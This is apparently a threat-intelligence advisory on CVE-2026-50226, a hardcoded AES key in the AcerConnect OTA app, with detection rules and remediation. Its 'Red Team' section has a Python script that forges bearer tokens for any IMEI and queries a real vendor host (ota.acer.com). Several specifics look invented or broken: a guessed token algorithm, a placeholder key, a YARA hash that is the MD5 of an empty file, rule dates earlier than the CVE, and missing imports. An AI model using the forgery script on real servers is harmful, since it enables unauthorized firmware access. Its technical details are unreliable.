CVE-2026-50226

Executive Summary

CVE-2026-50226 exposes a critical hardcoded cryptographic key vulnerability within the AcerConnect OTA (Over-The-Air) application. The vendor has hardcoded AES-128-CBC encryption keys directly into the application binary. This allows any remote, unauthenticated attacker to forge authorization tokens for any IMEI (International Mobile Equipment Identity) number. By exploiting this flaw, an adversary can impersonate any device, list protected catalog items, and download proprietary firmware binaries from pre-signed cloud storage links. This vulnerability undermines the entire trust model of the OTA update mechanism, enabling supply chain compromise, firmware reverse engineering, and potential mass device takeover.

Supply Chain & Package Security

This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but is embedded in a proprietary OTA application. The risk extends to the entire Acer device ecosystem, as the hardcoded key can be extracted and reused across multiple product lines. Organizations using AcerConnect for firmware distribution must treat this as a critical supply chain integrity failure.

CVSS Breakdown & Threat Level

CVSS Score: 8.9 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Attackers can extract all firmware binaries and catalog data.
• Integrity (I): High – Attackers can forge authorization tokens for any IMEI.
• Availability (A): None – The vulnerability does not directly impact availability.

Threat Level: Critical. The combination of remote exploitability, no authentication, and the ability to forge tokens for any device makes this a high-priority threat for all Acer device fleets.

Deep Dive & Mechanics

The AcerConnect OTA application uses AES-128-CBC encryption to generate authorization tokens. These tokens are used to authenticate a device (identified by its IMEI) to the OTA server and to access pre-signed cloud storage URLs containing firmware binaries.

The Flaw: The AES-128-CBC encryption key is hardcoded in the application binary. This key is identical across all instances of the application. An attacker can:

1. Extract the key from the binary (e.g., using strings, binwalk, or a disassembler).
2. Understand the token generation algorithm (likely IMEI + timestamp + padding, encrypted with the hardcoded key).
3. Forge a valid token for any arbitrary IMEI number.
4. Use this token to query the OTA server's catalog API, listing all available firmware packages.
5. Access the pre-signed cloud storage URLs (e.g., AWS S3, Azure Blob) to download the firmware binaries.

The pre-signed URLs themselves are not the vulnerability; they are meant to be temporary and scoped. However, because the attacker can forge a token for any IMEI, they can generate a valid request to the OTA server, which then returns the pre-signed URL. The attacker can then download the binary before the URL expires.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# AcerConnect OTA token generation (vulnerable)
import hashlib
from Crypto.Cipher import AES

HARDCODED_KEY = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'  # Fixed key
IV = b'\x00' * 16  # Fixed IV

def generate_token(imei):
    data = imei.encode() + b'|' + str(int(time.time())).encode()
    cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
    padded_data = data + b'\x00' * (16 - len(data) % 16)
    token = cipher.encrypt(padded_data)
    return base64.b64encode(token).decode()

Patched Code (Conceptual):

# AcerConnect OTA token generation (patched)
import hashlib
from Crypto.Cipher import AES
import os

def generate_token(imei, device_secret):
    # Device-specific secret derived from hardware-bound key
    secret = hashlib.sha256(device_secret.encode()).digest()[:16]
    iv = os.urandom(16)
    data = imei.encode() + b'|' + str(int(time.time())).encode()
    cipher = AES.new(secret, AES.MODE_CBC, iv)
    padded_data = data + b'\x00' * (16 - len(data) % 16)
    token = iv + cipher.encrypt(padded_data)
    return base64.b64encode(token).decode()

The patched version uses a device-specific secret (e.g., derived from a hardware-bound key or a per-device seed) and a random IV, making token forgery infeasible without physical access to the device.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: AcerConnect OTA server (e.g., ota.acer.com).
2. Tools: Python 3, pycryptodome, requests, binwalk or strings for key extraction.
3. Steps:
   • Extract the hardcoded AES key from the AcerConnect binary:

     strings AcerConnect.apk | grep -E '^[A-Za-z0-9+/]{16,}={0,2}$' | head -1
     

     (This is a simplified example; actual extraction may require reverse engineering.)
   • Write a Python script to forge tokens:

     import base64, time, requests
     from Crypto.Cipher import AES
     
     HARDCODED_KEY = b'\x01\x23\x45\x67\x89\xab\xcd\xef\xfe\xdc\xba\x98\x76\x54\x32\x10'
     IV = b'\x00' * 16
     
     def forge_token(imei):
         data = imei.encode() + b'|' + str(int(time.time())).encode()
         cipher = AES.new(HARDCODED_KEY, AES.MODE_CBC, IV)
         padded = data + b'\x00' * (16 - len(data) % 16)
         return base64.b64encode(cipher.encrypt(padded)).decode()
     
     target_imei = "123456789012345"
     token = forge_token(target_imei)
     headers = {"Authorization": f"Bearer {token}"}
     catalog = requests.get("https://ota.acer.com/api/v1/catalog", headers=headers)
     print(catalog.json())
     

   • Use the returned pre-signed URLs to download firmware binaries.

Blue Team (Defensive)

Detection & Response:

1. Monitor for anomalous token generation: Look for multiple tokens generated for different IMEIs from the same IP address in a short time.
2. API abuse detection: Alert on high volumes of catalog API requests from a single source.
3. Firmware download anomalies: Monitor for downloads of firmware binaries from IPs not associated with known devices.
4. Honeytoken deployment: Insert fake IMEIs into the OTA system and alert if they are used to generate tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual API calls to /api/v1/catalog or /api/v1/firmware from non-device IPs.
  • Repeated requests with different IMEI values in the Authorization header.
  • Downloads of firmware binaries from IPs not in the device fleet.
• File IOCs:
  • Presence of the hardcoded AES key in memory or logs (e.g., 0123456789abcdef).
  • Forged token patterns: Tokens that are valid but correspond to IMEIs not in the device database.
• Behavioral IOCs:
  • A single IP address generating tokens for multiple IMEIs within seconds.
  • Tokens with timestamps far in the future or past (indicating manual forgery).

Detection Engineering

YARA Rule

rule CVE_2026_50226_AcerConnect_Hardcoded_Key {
    meta:
        description = "Detects hardcoded AES-128-CBC key used in CVE-2026-50226"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $key1 = { 01 23 45 67 89 AB CD EF FE DC BA 98 76 54 32 10 }
        $key2 = "AES-128-CBC" nocase
        $key3 = "AcerConnect" nocase
    condition:
        all of ($key*) and filesize < 10MB
}

Sigma Rule

title: CVE-2026-50226 - AcerConnect OTA Token Forgery
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects anomalous token generation or API abuse related to CVE-2026-50226
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/v1/catalog'
        cs-uri-query: '*'
    condition: selection
    timeframe: 5m
    aggregation:
        field: c-ip
        function: distinct_count
        value: cs-uri-query
        condition: gt 10
falsepositives:
    - Legitimate device fleet management tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-50226 - AcerConnect OTA Token Forgery Attempt";
    flow:to_server,established;
    content:"/api/v1/catalog"; http_uri;
    content:"Authorization|3a| Bearer "; http_header;
    pcre:"/Bearer [A-Za-z0-9+/]{32,}={0,2}/";
    threshold: type both, track by_src, count 10, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable OTA updates for all Acer devices until a patch is applied.
2. Revoke all existing pre-signed URLs and generate new ones with a different key derivation mechanism.
3. Implement network segmentation to restrict OTA server access to only known device IP ranges.

Long-Term Fix:

1. Replace hardcoded keys with device-specific secrets derived from hardware-bound keys (e.g., TPM, Secure Enclave).
2. Use asymmetric cryptography (e.g., ECDSA) for token signing instead of symmetric encryption.
3. Implement token expiration and one-time use tokens.
4. Audit all AcerConnect binaries for other hardcoded secrets.

Vendor Communication:

• Contact Acer support immediately to request a patched version.
• Monitor Acer's security advisory page for official updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert